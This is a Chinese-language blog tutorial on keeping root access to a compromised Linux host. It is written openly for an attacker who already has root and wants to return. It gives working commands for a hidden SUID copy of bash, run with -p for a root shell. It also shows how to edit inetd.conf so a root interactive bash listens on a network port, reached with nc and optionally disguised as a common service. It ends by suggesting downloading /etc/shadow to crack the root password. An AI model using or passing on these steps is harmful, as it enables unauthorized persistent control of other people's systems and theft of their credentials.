安全圈 | 专注于最新网络信息安全讯息新闻

首页

linux後門的兩種姿勢(suid shell與inetd後門)

作者 eppolito 时间 2020-02-25
all

前提: 你現在已經是root用戶,想留一個後門以便日後再一次爆菊花。

系統環境: 

dawg:~# uname -a

Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux

1. SUID shell

關於SUID比特的知識,請戳這裡首先,先切換成為root用戶,並執行以下的命令:

dawg:~# cp /bin/bash /.woot

dawg:~# chmod 4755 /.woot

dawg:~# ls -al /.woot

-rwsr-xr-x 1 root root 690668 Jul 24 17:14 /.woot

當然,你也可以起其他更具備隱藏性的名字,我想猥瑣並機智的你,肯定能想出很多好的名字的。檔案前面的那一點也不是必要的,只是為了隱藏文件(在檔名的最前面加上“.”,就可以在任意檔案目錄下進行隱藏).

現在,做為一個普通用戶,我們來啟用這個後門:

[email protected]:~$ id

uid=1000(fw)gid=1000(fw)groups=1000(fw)

[email protected]:~$ /.woot

.woot-2.05b$ id

uid=1000(fw)gid=1000(fw)groups=1000(fw)

.woot-2.05b$

法克!為什麼不行呢?

因為bash2針對suid有一些護衛的措施.但這也不是不可破的:

.woot-2.05b$ /.woot -p

.woot-2.05b# id

uid=1000(fw)gid=1000(fw)euid=0(root)groups=1000(fw)

使用-p參數來獲取一個root shell.這個euid的意思是effective user id(關於這些ID的知識,可以戳這裡)

這裡要特別注意的是,作為一個普通用戶執行這個SUID shell時,一定要使用全路徑。

小知識:如何查找那些具有SUID的檔案:

dawg:~# find / -perm +4000 -ls

這時就會返回具有SUID比特的檔案啦。

2.遠程後門:利用/etc/inetd.conf

我們使用vi來修改/etc/inetd.conf檔案

原檔案:

#chargen dgram udp wait root internal

#discard stream tcp nowait root internal

#discard dgram udp wait root internal

#daytime stream tcp nowait root internal

修改為:

#discard stream tcp nowait root internal

#discard dgram udp wait root internal

daytime stream tcp nowait root /bin/bash bash -i

開啟inetd:

如果要強制重啓inetd:

dawg:~# ps -ef | grep inetd

root 362 1 0 Jul22?00:00:00 /usr/sbin/inetd

root 13769 13643 0 17:51 pts/1 00:00:00 grep inetd

dawg:~# kill -HUP 362

現在我們就可以用nc來爆菊了:

C:tools<nc -vv 192.168.1.77 13

192.168.1.77: inverse host lookup failed: h_errno 11004: NO_DATA

(UNKNOWN)[192.168.1.77] 13(daytime)open

bash: no job control in this shell

bash-2.05b# bash-2.05b#

bash-2.05b# id

uid=0(root)gid=0(root)groups=0(root)

bash-2.05b# uname -a

Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux

小貼士:

我們來一招更賤的:

我們可以修改/etc/services檔案,加入以下的東西:

woot 6666/tcp  #evil backdoor service

然後修改/etc/inetd.conf  :

woot stream tcp nowait root /bin/bash bash -i

我們可以修改成一些常見的埠,以實現隱藏。

小編感言:其實下/etc/shadow檔案,爆破root的密碼才最保險啊!

[email protected]_bing /網路安全攻防研究室團隊】